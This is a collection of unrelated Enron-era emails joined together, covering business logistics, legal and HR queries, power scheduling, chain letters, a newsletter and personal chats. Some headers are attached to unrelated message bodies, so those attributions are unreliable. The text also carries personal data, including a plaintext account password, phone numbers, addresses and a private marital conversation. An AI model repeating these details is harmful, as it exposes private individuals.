-----Original Message-----=20
From: Peter Moritzburke <PMoritzburke@CERA.com>@ENRON=20
Sent: Tue 7/17/2001 6:43 PM=20
To: Thome, Jennifer=20
Cc:=20
Subject: CERA paper

Jennifer,=20

Attached is the CERA paper on the economic impact of the California crisis.=
=20
It includes our updated analysis following the June 19 FERC Order. The pape=
r=20
is now available on the Western Energy website as well.

Please call with any questions.=20

Peter=20

************************************************=20

Peter F. Moritzburke=20

Cambridge Energy Research Associates=20

1999 Harrison Street, Suite 950=20

Oakland, CA 94612=20

p (510)874-4383=20

f (510)874-4347=20

=01;=20

=01;- CA_Short_Circuit_0701.pdf <<CA_Short_Circuit_0701.pdf>>

The report named:
<http://trv.dev.corp.enron.com/linkFromExcel.asp?report_cd=6&report_name
=Storage+P/L&category_cd=4&category_name=TEXAS&toc_hide=1&sTV1=4&TV1Exp=
Y&current_efct_date=06/04/2001> Storage P/L, published as of 06/04/2001
is now available for viewing on the website.

Sally, 
I'm sorry I left you off my original note but I wanted you to know......
Dianne

...the third time is a charm.  After 2 failed adoptions, God has blessed me 
with a beautiful daughter!  Emily Lyn was born on Saturday, July 8 at 11:18 
am in San Antonio.  She weighed 7 lbs. and measured 19 inches.  She is so 
tiny and has a head full of dark hair!  I brought her home last night at 8:30 
pm.  Our first 
night went well even if I didn't get any sleep.  It's going to take some time 
for me to get used to the noises she makes.  I must admit, there were
days when I never thought this would happen.  I appreciate all the kind words 
of encouragement many of you have shared over the last few years
as I have gone through this process, especially during the really low 
points.  I am truly blessed.
I will be out of the office for a while but feel free to stay in touch as I'm 
sure I'll be logging in often.  Also, if I left someone off the list here, 
please have them forgive me.  Remember, I'm working on 0 sleep.  Please feel 
free to pass this along to anyone I may have fogotten.  Thanks.
Dianne

Martina,

Thanks.

Vince

	Enron Capital & Trade Resources Corp. - Europe
	
	From:  Martina Angelova                           02/24/2000 03:37 PM
	
To: Charlotte Baldock/LON/ECT@ECT
cc: Vince J Kaminski/HOU/ECT@ECT, Anjam Ahmad/LON/ECT@ECT 
Subject: Re: Loan PC  

Charlotte,

I confirmed today with your colleague Stuart at  x34073 and he arranged for 
the CPU to be removed.

Please call me if you have any questions. Thanks!

Martina  x34327

Vince J Kaminski
24/02/2000 15:28
cc: Vince J Kaminski/HOU/ECT@ECT, Anjam Ahmad/LON/ECT@ECT, Martina 
Angelova/LON/ECT@ECT 

I am back in Houston. Please, contact Anjam Ahmad and/or
Martina Angelova. They will be able to help you.

Vince Kaminski

Charlotte Baldock
02/24/2000 05:22 AM
To: Vince J Kaminski/HOU/ECT@ECT
cc:  
Subject: Loan PC

Vince

Can you confirm that you will returning the loan PC to IT Support today 
please?

Thanks

Charlotte

Dear Jeff

Thanks for the message. Yes, a great pity we missed each other. If I had
known of your timetable constraints we could have discussed possibilities at
the reception. I sympathised with what you had to say at the symposium and
would like to learn more.

I have just arrived in Washington DC, where I shall be until Saturday, then
returning to UK. I have a meeting tomorrow (Thursday) morning but otherwise
would be free to meet, if you were planning to be over here. Another
possibility might be to talk on the phone. Tel 202 363 3350 c/o Lois
Godiksen, though I call in at LECG tomorrow afternoon.  Or of course I
should be pleased to see you in UK.  I shall be there next week, then in
Japan for a week, then likely to be in UK for rest of December. I am
normally in Birmingham rather than London, but it would not be too difficult
to get to London for a meeting. I had wondered about the possiblity of
coming to the American Economic Association meetings in New Orleans in early
January, after which I would come up to DC again. That might be another
opportunity to get together.

I did talk to David Teece briefly, and he mentioned a possible joint venture
with several companies, without naming them - is this what you are referring
to? He said very little about it so I would welcome a discussion.

I look forward to hearing from you.

Best wishes

Stephen

>From: Jeff.Dasovich@enron.com
>To: "Stephen Littlechild" <sclittlechild@hotmail.com>
>Subject: Re:
>Date: Wed, 15 Nov 2000 19:58:11 -0600
>
>
>Dr. Littlechild.
>
>I'm very disappointed that our schedules seemed to pass in the night.  I
>had an engagement on Monday night, which regrettably kept me from having
>dinner with the speakers.  And Tuesday I was traveling.  I tried to call
>the Claremont and had a dreadful time trying to leave you a message.  If
>you haven't left the states yet, I would very much like to get together.
>Otherwise, I'll just have to come to London.  I understand that David Teece
>has filled you in on our discussions.  Would like to discuss that futher
>with you.  It was a great pleasure to meet you, however briefly, and I hope
>that our paths cross again very soon.
>
>All the best,
>Jeff
>
>
>
>                     "Stephen
>                     Littlechild"             To:
>Jeff.Dasovich@enron.com
>                     <sclittlechild@ho        cc:
>                     tmail.com>               Subject:
>
>                     11/14/2000 11:46
>                     AM
>
>
>
>
>
>
>Jeff
>
>Sorry we missed last night. I was expecting to see you at the dinner. I
>should like to visit the office if there is time. My constraints today are
>lecture at Berkeley 12.30 to 2pm, and they suggest I should be there around
>
>11.30 beforehand. Also a request to meet someone from STG consulting, with
>whom I am doing some work, probably in Menlo Park, and an invitation to
>dinner in Berkeley area. I had thought we might meet this morning before
>the
>lecture, but probably too late now. Could do afterwards, en route to Menlo
>Park? I am at Claremont Hotel until around 11.15, tel 510 843 3000 room
>325.
>Am in Business Centre on Hotmail at present but computer's a bit slow here.
>Regards
>Stephen
>_________________________________________________________________________
>Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>Share information about yourself, create your own public profile at
>http://profiles.msn.com.
>
>
>
>
>

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

Share information about yourself, create your own public profile at
http://profiles.msn.com.

Still here - no idea what the Standard Power offer is - so probably not going to help but there are signs of hope for gas and power trading.

Unbelievable that a trading shop was brought down by rogue traders.

From: 	"Harper, Caroline" <Caroline.Harper@amerada.co.uk>@ENRON  
Sent:	Monday, December 03, 2001 11:12 AM
To:	Kitchen, Louise
Subject:	Worried

Don't know if this will still reach you - over here Enron staff have all
been denied access to terminals.  Will try and phone.

Worried about you both - will the Standard Power offer mean you might still
be ok?  What has the collapse meant for you both?  Is there anything I can
do to help?

Thinking of you - can't really believe it

Caroline Harper
Managing Director
0207 887 2372

---------------------- Forwarded by Phillip M Love/HOU/ECT on 04/10/2001 
09:20 AM ---------------------------
From: Veronica Espinoza/ENRON@enronXgate on 04/10/2001 09:14 AM
To: Janie Aguayo/HOU/ECT@ECT, Diane Anderson/NA/Enron@Enron, Derek 
Bailey/Corp/Enron@ENRON, David Baumbach/HOU/ECT@ECT, Jean Bell/HOU/ECT@ECT, 
Patricia Boulanger/CAL/ECT@ECT, Bob Bowen/HOU/ECT@ECT, Julie 
Brewer/NA/Enron@Enron, Lesli Campbell/ENRON@enronXgate, Celeste 
Cisneros/NA/Enron@Enron, Sharon Crawford/CAL/ECT@ECT, Richard 
Deming/NA/Enron@Enron, Russell Diamond/ENRON@enronXgate, Cindy 
Feldman/CAL/ECT@ECT, Darron C Giron/HOU/ECT@ECT, Veronica 
Gonzalez/ENRON@enronXgate, Jeffrey C Gossett/HOU/ECT@ECT, Walter 
Guidroz/ENRON@enronXgate, Larry Joe Hunter/HOU/ECT@ECT, Kam 
Keiser/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Errol 
McLaughlin/Corp/Enron@ENRON, Nidia Mendoza/ENRON@enronXgate, Tom 
Moran/ENRON@enronXgate, Bianca Ornelas/NA/Enron@Enron, Leslie 
Reeves/HOU/ECT@ECT, Tanya Rohauer/ENRON@enronXgate, Dianne Seib/CAL/ECT@ECT, 
Linda Sietzema/CAL/ECT@ECT, Kim S Theriot/HOU/ECT@ECT, Ellen 
Wallumrod/NA/Enron@ENRON, Melinda Whalen/CAL/ECT@ECT, Tiffany 
Williams/NA/Enron@Enron
cc:  
Subject: Credit Report--4/10/01

Larry,

Please take a look at the 2nd resume and let mew know what you think ( - 
JPBresume2.doc.)

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/21/2000 
11:49 AM ---------------------------

"pj" <pj@austingrp.com> on 11/15/2000 01:58:46 PM
To: "Vince J Kaminski" <Vince.J.Kaminski@enron.com>
cc:  
Subject: TAGE Resume Submittal

Vince,
Two candidates for your review. Please call  me.
?
Paul Johnson, CPC
President
(281)  497-8595
?
Please visit our website
? www.austingrp.com  
 - Wood, Shelly.doc
 - JPBresume2.doc

--- William and Dana Orange <wdorange@fbcc.com> wrote:
> From: "William and Dana Orange" <wdorange@fbcc.com>
> To: "Stacie at Work"
> <swagner@empirefundingcorp.com>,
> 	"Mom & Dad Willis" <lwillis@brazoria.net>,
> 	"Michelle Majewski" <CMADDICT2000@yahoo.com>,
> 	"Michelle Higginbotham"
> <michellehigginbotham@hotmail.com>,
> 	"Michele Schaare" <Sheleigh@aol.com>,
> 	"Melanie Gamble" <mmgamble@austin.rr.com>,
> 	"Marybeth Peck" <mbpeck6@aol.com>,
> 	"Lori Hanover" <lmhanover@aol.com>,
> 	"Kathy Martinez" <KOrangeM79@aol.com>,
> 	"Julie Nardiello" <jenjsn@mindspring.com>,
> 	"Jennifer Mahlmann" <tamu1999@hotmail.com>,
> 	"Jennie Smith" <jenniecm@ev1.net>,
> 	"Janice Cass" <djtc@cox-internet.com>,
> 	"Heather Greenwood" <gresidence@earthlink.net>,
> 	"Ellen at work" <elremm@argolink.net>,
> 	"Danielle Calvelage" <SGCwife@aol.com>,
> 	"Cynthia Cameron" <mainecfc@yahoo.com>,
> 	"Claire at Work" <CHILL@StageStores.com>,
> 	"Christa Harper" <Christa@aggiebonfire.com>,
> 	"Barbie Goetz" <Goetz211@mindspring.com>,
> 	"Susan Saldivar" <ssaldivar@houstonrr.com>,
> 	"Rosanne Robins" <prrobins@att.net>,
> 	"Phyllis Gannon" <Snarlqueen@aol.com>,
> 	"Nicole Salverino" <sal@pdq.net>,
> 	"Michele Tolleson" <tmtolleson@cs.com>,
> 	"Kim Halvorsen" <jpandkim@earthlink.net>,
> 	"Ingrid Richards" <markrichards@netzero.net>,
> 	"Cathy Baudoin" <c.baudoin@gte.net>,
> 	"Angela McDonald" <abmcdon@yahoo.com>
> Subject: Breast Cancer petition
> Date: Wed, 6 Feb 2002 20:14:24 -0600
>
> This appears to be legitimate.  Please read below
> and pass it on to all of
> your "girlfriends."
>
> Dana
>
> -----Original Message-----
> From:   Billy Moore [mailto:bm02@swt.edu]
> Sent:   Monday, February 04, 2002 6:12 PM
> To: Marsha M Moore; Diana Finlay; laura huffman; kim
> porterfield  Libby
> Linebarger
> Subject:    Fw: Read, Act and Pass On
>
>
> Dear Friends:
> This petition is "for real."  It took only seconds
> for me to sign the
> petition.  I hope you will too.
> Few families have escaped  cancer.  If there was
> ever a time when our voices
> and choices should be heard, this is one of those
> times.  If you are
> receiving this, it's because I think you are a
> loving, caring, person who
> will take the 30 seconds to act on this issue.
> There's a bill called the Breast Cancer Patient
> Protection Act which will
> require insurance companies to cover a minimum
> 48-hour hospital stay for
> patients undergoing a mastectomy. It's about
> eliminating the "drive-through
> mastectomy" where women are forced to go home hours
> after surgery against
> the wishes of their doctor, still groggy from
> anesthesia and sometimes with
> drainage tubes still attached.
> Lifetime Television has put this bill on their web
> page with a petition
> drive to show your support. Last year over half the
> House signed on.
> Please take a moment to respond to this petition, by
> clicking on the web
> site below.  Help women living with breast cancer
> get the care they need and
> deserve!!
>
>
http://www.lifetimetv.com/health/breast_mastectomy_pledge.html
>
> PS:  PLEASE PASS THIS ON
>

=====
Angela & Brad McDonald
ABMcDon@yahoo.com

__________________________________________________
Do You Yahoo!?
Send FREE Valentine eCards with Yahoo! Greetings!
http://greetings.yahoo.com

fyi...let's discuss on your return.b
From: 	GilbergD@sullcrom.com@ENRON [mailto:IMCEANOTES-GilbergD+40sullcrom+2Ecom+40ENRON@ENRON.com] 
Sent:	Sunday, September 09, 2001 10:01 PM
To:	Gray, Barbara N.
Subject:	RE: THIRD PARTY POSTINGS POPUP LANGUAGE...my attempts to shorten  and eliminate overlap   thanks bng

Thanks, Barbara.  I thought your changes looked good.  I hope your trip went
well and that the brief getaway was restful.  I'll speak to you soon.

-----Original Message-----
From: Barbara.N.Gray@ENRON.com [mailto:Barbara.N.Gray@ENRON.com]
Sent: Wednesday, September 05, 2001 4:20 PM
To: GilbergD@sullcrom.com
Cc: Mark.Taylor@ENRON.com
Subject: THIRD PARTY POSTINGS POPUP LANGUAGE...my attempts to shorten
and eliminate overlap thanks bng

 <<EOL Third Party Posting POPUP.doc>>

**********************************************************************
This e-mail is the property of Enron Corp. and/or its relevant affiliate and
may contain confidential and privileged material for the sole use of the
intended recipient (s). Any review, use, distribution or disclosure by
others is strictly prohibited. If you are not the intended recipient (or
authorized to receive for the recipient), please contact the sender or reply
to Enron Corp. at enron.messaging.administration@enron.com and delete all
copies of the message. This e-mail (and any attachments hereto) are not
intended to be an offer (or an acceptance) and do not create or evidence a
binding and enforceable contract between Enron Corp. (or any of its
affiliates) and the intended recipient or any other party, and may not be
relied on by anyone as the basis of a contract by estoppel or otherwise.
Thank you.

----------------------------------

This e-mail is sent by a law firm and contains information
that may be privileged and confidential. If you are not the
intended recipient, please delete the e-mail and notify us
immediately.

FYI.  Michelle
---------------------- Forwarded by Michelle Cash/HOU/ECT on 05/08/2000 10:14 
AM ---------------------------

Michelle Cash
04/28/2000 10:51 AM
To: Felecia Acevedo/Corp/Enron@ENRON
cc: Sharon Butcher/Corp/Enron@ENRON, Brian Schaffer/Corp/Enron@ENRON 
Subject: Re: Part-time exempt employees  

Felicia,

In general, you are correct that the salary basis test must be met before 
someone can be classified as exempt.  However, because there are certain 
exceptions to the salary basis test (for example, licensed attorneys do not 
have to meet that test), it depends on what the employees are doing as to 
whether this situation creates a problem under the FLSA.

My recommendation would be to obtain information about the jobs performed by 
these 29 employees so that we can determine whether there is an issue.  If 
they do not fit within one of the exceptions, we probably should have them 
affirmatively report time so that hours worked over 40 can be paid at the 
overtime rate. You would use the hourly rate they are paid to determine the 
overtime rate.  If they are not working over 40 hours in a week, it will not 
be an issue.

Let me know if you have questions.

Michelle

Felecia Acevedo@ENRON
04/27/2000 05:40 PM
To: Michelle Cash/HOU/ECT@ECT, Sharon Butcher/Corp/Enron@ENRON
cc: Brian Schaffer/Corp/Enron@ENRON 
Subject: Part-time exempt employees

Sharon and Michelle,

We have 29 employees in the payroll system that are part-time exempt 
employees and their pay is calculated on an hourly rate.  Unless I understand 
the FLSA incorrectly we cannot in any way calculate salaries on exempt 
employees on an hourly basis.  If they are reduced hours we would need to 
determine how we would value their job based on a salary basis otherwise we 
are treating them as hourly employees and not exempt employees.   An exempt 
employee should only be tracking exception time (i.e. sick, vacation, etc -- 
any off duty time) but not work hours during the day.   An exempt worker 
according the FLSA can only be paid on a fee basis or salary basis -- not on 
an hourly basis.  If I am off base let me know, otherwise I would like your 
help with how we should approach getting this corrected and possibly having 
this covered in a policy on how to deal with employees performing exempt jobs 
that are working part-time or reduced schedules. 

Look forward to hearing back from you.

Felecia

From the office of Mr. Mark Haedicke!

Please note the attachment.

Thank you

Thanks for your e-mail,  I will forward execution docs for your signature.

Legal Department

Hey Vince,

I understand that Alex Butler has sent you a copy of the Schwartz paper.  I
have a copy of my paper attached to this e-mail.  It was good to see you
again and I hope you enjoyed your visit to LSU.

Tom Arnold
 - gopop.pdf

Duke Energy Trading and Marketing, L.L.C. is NOT and approved reference 
credit because this entity does not prepare independent financials.  Duke 
Energy Trading and Marketing's "A-" S&P rating is based on implied credit 
support from Duke Energy which owns a substantial portion of the entity's 
membership equity.  Our policy thus far is that all reference credit must (i) 
be S&P rated and (ii) prepare entity level financials.

Rod  

Dear All

Further to the PRC Committee Meeting please find attached the first draft of 
the peer group mapping by function. It was decided that each member would 
review the proposal to move from 4 peer groups to 3 for Mid Year. 

The attached was completed some weeks ago by the HR leads in your business 
Unit and is based on a McKinsey study requested by Jeff Skilling and Steve 
Kean.

Under your review of the attached information, please focus on the final two 
pages that show the 'strawman' on how the functions fell out under the 
proposed peer group 
structure.

I have copied in the HR leads for your business area. They have been 
instrumental in completing the mapping and will meet with you to provide any 
specific information you require concerning placements with your business 
area.

I would point out that there does appear to be some inconsistencies in 
function placements within the peer groups for some business units; it will 
be our primary focus at the next meeting to resolves these issues.

Your assistants have been contacted regarding the time and date of our next 
meeting under separate cover. For our London colleagues we will aim for a 
morning meeting.

David Oxley 

Thank you for updating your II Journals profile information. Changes to your 
User ID, Password and E-mail Address have been made. Please allow 24 hours 
for any other changes you've made to take effect in our system. Here is the 
profile information we have for you:

Account Number: 12973228
First Name: Vince
Last Name: Kaminski
Company Name: Enron Corp
Position: Managing Director
Department:
Address 1: 1400 Smith St EB 1962
Address 2:
City: Houston
State: TX
Zip Code: 77002-7327
Country: USA
Phone: (713) 853-3848
Extension:
Fax: (713) 646-2503
Foreign Phone:
Foreign Fax:
EMail: vkamins@enron.com
User ID: VKAMINSKI
Password: ITALIA

---------------------- Forwarded by Richard B Sanders/HOU/ECT on 04/28/2000 
10:55 AM ---------------------------

Mary Hain
04/27/2000 08:16 PM
To: Maureen McVicker/HOU/EES@EES
cc: Richard B Sanders/HOU/ECT@ECT, Susan J Mara/SFO/EES@EES, Jeff 
Dasovich/SFO/EES@EES, Richard Shapiro/HOU/EES@EES, Tim Belden/HOU/ECT@ECT, 
Mark Palmer/Corp/Enron@ENRON@EES, Karen Denne/Corp/Enron@ENRON@EES 
Subject: Re: Cal PX  

Here's a draft.  Tim and I changed the "not a big deal bullets" to be more 
precise but to keep the airline concept.  Tim hasn't proofed this, but I 
wanted to send you the draft for your interim consideration and understanding.

Maureen McVicker@EES
04/27/2000 04:17 PM
To: Richard B Sanders/HOU/ECT@ECT, Susan J Mara/SFO/EES@EES, Jeff 
Mary Hain/HOU/ECT@ECT, Mark Palmer/Corp/Enron@ENRON, Karen 
Denne/Corp/Enron@ENRON
cc:  
Subject: Cal PX

Please review the attached document and call Steve Kean or Mark Palmer with 
any questions or comments 

you may have as soon as possible.

Thanks.

To all:

We will fly into Dubuque Friday April 20th and stay overnight.  We are going
to a wedding on the 21st in Minneapolis and will return to Dubuque on Sunday
the 22nd.  We will then be in Dubuque until Wednesday the 25th (we fly out
late on the 25th).  Hope to see you all, but we'll settle for some.

We already have our first wild fire of the season.  It was yet another
controlled burn that got out of control near Ruidoso - quite a distance from
here.  45 mile per hour winds are expected for tomorrow.  New Mexico burnin'
again.  Good luck to us all.  Diane and I have appointments set up with two
insurance agents in order to evaluate our insurance coverage.

Take care.

Rob

Frank - 

There appears to have been a mild snafu with my e-mail address (my fault, not 
yours) and I have just now seen your note from yesterday morning.  I am 
working on the Posting Agreement.  I'm afraid Louise may have thought more 
highly of my abilities to create something like that from whole cloth than I 
deserved but we will try and get that to you soon.  Travis McCullough, our 
corporate lawyer, will get together a term sheet on the equity side of things 
which we should be able to get to you quickly (no later than Thursday if his 
schedule permits).  I'm assuming that your legal team will have to be 
draftsmen of the definitive corporate documents but the term sheet should 
give them a good starting point (and let you confirm that the lawyers on both 
sides are getting it right).

Sorry for the delay and confusion - we'll get these out to you as soon as we 
can.

Mark

Just a note to let you know that CBS SportLine.com's Fantasy
Basketball 2001 and Basketball Commissioner are both on-line.

FANTASY BASKETBALL 2001 - Presented by Honda
http://www.sportsline.com/links/6/1/87/fantasybbNUM2102301.cgi
* The best game for those looking to join a league and
  compete for great prizes.
* Stats and standings updated daily; reports available
  via e-mail or wireless.
* Each team gets a private web site, including tons of
  scouting reports and fantasy analysis.
* This year, $150 goes to the champion of every Fantasy
  Basketball GOLD league.

BASKETBALL COMMISSIONER - Presented by Honda
http://www.sportsline.com/links/6/1/87/fantasybb102301.cgi
* The best league management and stats service to run
  an existing league, or start a private league on-line.
* You make all the rules for scoring, drafting, playoffs,
  prizes and more.
* We calculate all the stats and standings for you.
* We give you all the tools you need, including tons of
  statistics, scouting reports and analysis.
* Enjoy great perks with Commissioner GOLD

This message has been provided free of charge and free of obligation.
If you prefer not to receive emails of this nature please send an 
email to remove@commissioner.com.  Do not respond to this email 
directly.

This message was sent to: frank.ermis@enron.com

The A/A Department is officially working with SAP.

SAP requires a new expense reimbursement form.

From now on, if you need cash back from our department as a result of any 
recruiting efforts, (Super Saturdays, On Campus Visits, etc.) please use the 
attached form:

As usual, send the form and taped-to-separate-sheets-of-paper receipts to 
Randy Martin (EB 3621) for coding and processing.

Since I will probably move a time or two more before I am permanently 
settled, I wanted to let you all know that my in-box for all purposes 
(including periodical distribution) is on the ledge of Brenda Whitehead's 
cubicle.  I check this in-box frequently throughout the day.  Thanks -- Bob

I will be handling the work assignment rotation from October 2, 2000 through 
December 31, 2000 for the Paralegals in ENA's SWAP Group.  Please forward all 
work request to may attention so that they can be logged and assigned to the 
Paralegals.   

Also,  at least one Swap Group  Paralegal will be available between the hours 
of 8:00am to 6:00pm.  Set forth below is the revised schedule of our normal 
working hours, phone extension and EB location:
     
          Paralegal	             Hours	            Phone Extension	            Location
           Susan Bailey	             8:00am to  5:00pm
		                        x 34737	                  EB3806A
           Stephanie Panus	             8:30am to 5:30pm            	                
        x 53249	                  EB3806
           Samantha Boyd
	             9:00am to 6:00pm	                        x39188	                  EB3802A

Samantha M. Boyd
Sr. Legal Specialist
Enron North America, Corp.
1400 Smith, EB3802A
Houston, TX  77002
Phone:  (713) 853-9188
Fax:  (713) 646-3490
email:  samantha.boyd@enron.com

Matt, I need your mailing address for the wedding invites. Email me back by
Thursday. Thanks

--ALEx

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

It lasts until I become sweet or you admit that you were the aggressor when 
we met - whichever comes first.(ha!)

Shanna Husser@ENRON
02/28/2000 12:23 PM
To: Eric Bass/HOU/ECT@ECT
cc:  
Subject: Re:  

So rude!  Now how long is this no kissing thing going on?  I need to mentally 
prepare myself.  

	From:  Eric Bass @ ECT                           02/28/2000 11:50 AM
	
To: Shanna Husser/Corp/Enron@Enron
cc:  

Subject: 

Remember - No Kisses!

Kate,
Amerex has a deal on their web checkout traded by Diana on 2/14 where:
Enron buys from Coral 25 mw of off-peak Mid-C for 2/15-2/16 at $420.00

I do not see this deal in Enpower.  

When I checked out with Amerex on the 14th all deals were confirmed.  When I 
cleared their deals all deals were cleared.
It is our policy to go back and check their web site for additions, changes 
etc. once every week for the week before and this deal popped up.

Can you please check to see if the schedulers received any confirmation of 
flow for this deal from Coral?

Thanks!!

poor ypu

Sent:	Monday, January 07, 2002 2:14 PM

i looked really pretty the next day.  my dad told me that i looked sick.  whatever

Sent:	Monday, January 07, 2002 2:13 PM

thats sad

Sent:	Monday, January 07, 2002 2:03 PM

not really, i think that she just felt too sorry for me to say anything.

Sent:	Monday, January 07, 2002 2:01 PM

did your mom have any insight

Sent:	Monday, January 07, 2002 1:57 PM

well so did i and i told him that, but he refused so whatever

i think that you guys should go talk to somebody

Sent:	Monday, January 07, 2002 1:54 PM

just about what i wanted to do with me life and kids and how i treat him.  basically i guess that i suck as a wife.  i don't like his family etc when they are the ones who treat me like crap.  he just bitched at me about everything.

Sent:	Monday, January 07, 2002 1:52 PM

can you tell me what kind of things he said

talk to wade.  i refuse to live how we are living.  i still can't believe some of the things that he said to me on saturday.  i just want to know where he stands i guess.  ofcourse, my mom thinks that i am a psycho now!  

Sent:	Monday, January 07, 2002 1:49 PM

friday morning, I cant wait, what do you mean figure out your life

Sent:	Monday, January 07, 2002 1:48 PM

nothing really.  just sitting here.  i guess trying to figure out my life??!!!  :)  how about you?  when are you leaving for skiing?

Sent:	Monday, January 07, 2002 1:45 PM

i know and its really depressing at first until you start to see results, im going to be really sore for skiing, anyway what do you have going on this week

Sent:	Monday, January 07, 2002 1:43 PM

i am running mtm's for george.  BORING!!!  we just got back about 15 minutes ago.  you will get there.  it takes time and it is not fun!  :)

Sent:	Monday, January 07, 2002 1:42 PM

my work out was ok, im so damn out of shape but im committed to go every day now, i want to lose 20 pounds by march 1, anyway, i went to barnabys with john sandra, and andy, what are you doing

Sent:	Monday, January 07, 2002 1:22 PM
Subject:	

i think that we just saw you driving.  did you leave for lunch?  how was your workout?

Just wanted to make sure you saw this from Les Rawson concerning Grays Harbor 
and Willamette.
-Bill

Beginning immediately Enron has purchased Control Area Reserves service from 
BPA. 

The allows Services to sell Unit contingent energy as hourly firm since BPA 
is suppling reserves for up to 60 Minutes. If Grays Harbor Paper notifies RT 
of a unit derate or outage RT should notify BPA dispatch immediately and make 
the reduction in the schedule during the next ramp. For example should Grays 
unit trip as 1333 RT would notify BPA and the sink that across the top of the 
hour for 1400 the schedule would be taken to zero for HE 1400. The bottom 
line is that 60 minutes is the maximum time BPA will carry the schedule.

Send me a e-mail concerning any reductions for Grays since the energy would 
need to be repaid back within 168 hours.

Also, for May Services sold 10 mw of UC energy to EWEB from Willamette all 
hours. As part of this sale Services bought 18 Mw of firm transmission from 
PACW to BPAT for all hours. 10Mw of this purchase will be used for the 
monthly sale with the remaining 8Mw used for day ahead and hourly sales. The 
Assignment Reference # 139990. The cost for this transmission is $2.72 per 
hour vs the $5.84 we normally pay for hourly non-firm so hopefully we can 
save some money on PAC transmission.

Also, beginning May 1 Services purchased Ancillary Services from PacifiCorp 
to allow Willamette's Unit Contingent energy to be sold as 1-hour firm with 
reserves. The procedure for dealing with inner hour cuts is similar to Grays 
with the exception of not calling PAC RT dispatch. Simply cut or reduce the 
schedule at the next ramp and note the derate in a e-mail to Services. This 
service adds .43 cents per Mw to the term sale costs. However, this service 
applies to Willamette's sales up to 30Mw.

Let me know if there are questions.

Les

i have these hanging on my porch
---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 06/16/2000 
10:32 AM ---------------------------

Shirley Elliott <shelliott@dttus.com> on 06/16/2000 09:14:12 AM
To: hallieklassen@usa.net, j.cruthis@mail.utexas.edu, JohnWheeler@PZLQS.com, 
Matthew.Lenhart@enron.com, rmoser@emjmetals.com, sablica@compuserve.com, 
sbaldwin@lcc.net, waldron50@yahoo.com, Matt@TriangleTechnology.com, 
kmcgallion@king-ranch.com, sfoley@swri.jacads.com, Josh Sherman 
<jsherman@dttus.com>
cc:  

Subject: Texas Wind Chimes

---------------------- Forwarded by Joy Johnson/MKT/DMA on 06/16/2000 07:48

"Liam Wong" <squire@thegrid.net> on 06/16/2000 07:29:06 AM

 To:      squire@thegrid.net

 cc:      (bcc: Joy Johnson/MKT/DMA)

 Subject: Texas Wind Chimes

> > Thought you would like to see what Texas Wind Chimes look like.
> >
>

 - RNWINDCH.JPG
 - RFC-822.TXT
---------------------------------- Forwarded 
From: jjohnson@daewoous.com at Internet-USA
Date: 6/16/00 9:52AM -0500
To: Shirley Elliott at DTT.US.HOUSTON
*To: tutu777@yahoo.com at Internet-USA
------------------------------------------------------------------------------
-

---------------------- Forwarded by Eric Bass/HOU/ECT on 01/31/2000 02:35 PM 
---------------------------
   
	Enron North America Corp.
	
	From:  Eric Bass                           01/31/2000 02:34 PM
	
To: Brian Hoskins/HOU/ECT@ECT, Timothy Blanchard/HOU/EES@EES, Matthew 
Lenhart/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Amir 
Ahanchian/HOU/ECT@ECT, Luis Mena/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Jeffrey 
C Gossett/HOU/ECT@ECT, Kenneth Shulklapper/HOU/ECT@ECT, Phillip M 
Love/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, Nick Hiemstra/HOU/ECT@ECT
cc:  
Subject: Spring Flag Football

I need to know who of you is interested in playing in a flag football league 
starting in March.  This is a reunion tour of our glorious victory in the 
Enron tournament.

-Eric

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/06/2000 
11:27 AM ---------------------------

Scott Adams <dilbertnewsletter@unitedmedia.com> on 11/02/2000 06:53:02 PM
To: vkamins@ect.enron.com
cc:  
Subject: Dilbert Newsletter 31.0

Dilbert Newsletter 31.0
------------------------

To:     Dogbert's New Ruling Class (DNRC)
From:   Scott Adams (scottadams@aol.com)
Date:   November 2000

   Highlights:
------------------------------------------------
- How I Spent My Summer Vacation
- True Tales of Induhviduals
- Cat Stretching Video
- Dogbert Answers My Mail

DNRC Update
-----------

Many of you have expressed surprise and outrage that Dogbert was
not in the presidential debates.  That's what you think.  What you
don't realize is that Al Gore is actually a robot, remotely
controlled by Dogbert.  The real Al Gore was abducted months ago
and is being held in a safe place.  The strange thing is that the
real Al Gore is a robot too.

How I Spent My Summer Vacation
------------------------------

This newsletter is a bit late because this year I took my first
vacation ever.  It was a cruise to Alaska.  I will summarize it
here so you don't need to go.

Alaska is a large cold place with approximately six residents who
would inbreed if they found each other more attractive.

There was scenery.

Alaska has bald eagles, which are very rare because of Rogaine(tm).

From the cruise ship you can see bears on the shore.  Bears are
about the size of a pencil eraser, at least the ones I saw.  They
might look bigger up close.

If you wondered where all the senior citizens went, they were on my
cruise ship.  That was fine with me; when I'm in bear country I
like to be surrounded by people who can't outrun me.  And it was
fun to see the bald eagles swooping down to our deck and carrying
off the elderly with their majestic talons.  (Why those elderly
people had majestic talons I'll never know.)

The ship had a gym in the bow, with large windows.  When I used the
exercise bike I pretended that the ship was being powered by my
pedaling.  I almost passed out trying to ram a tugboat.  They are
faster than they look.

The cruise ship had something they call a gambling casino.  It
wasn't the kind where you sometimes get back a small portion of
your money.  But that was okay with me because when you're in the
middle of the ocean, and you're not the designated sailor, shoving
money into a small hole in a colorful blinking box can be loads of
fun.

There was food.

If I left anything out, drop by the house and I'll show you the
pictures.

Cat Stretching
--------------

My cat Sarah used to be short and stubby.  Check out my streaming
home video at Lycos Video Center to see how I upgraded her.  Here's
the URL:

http://video.lycos.com/myvideocenter/viewvmail.asp?vm=338035&e=33KUVI9WUjIaU&r
=1

Pillows
-------

Until I obtained good taste, I thought the proper number of pillows
for a bed was one per head.  It's embarrassing to think how wrong I
was.  Thanks to the help of a professional decorator, and Pam, my
bed now has fifteen pillows.  Six of them are big honkers that look
very impressive until they are thrown on the floor at night.  Four
of them are decorative pillows featuring the cheerful faces of
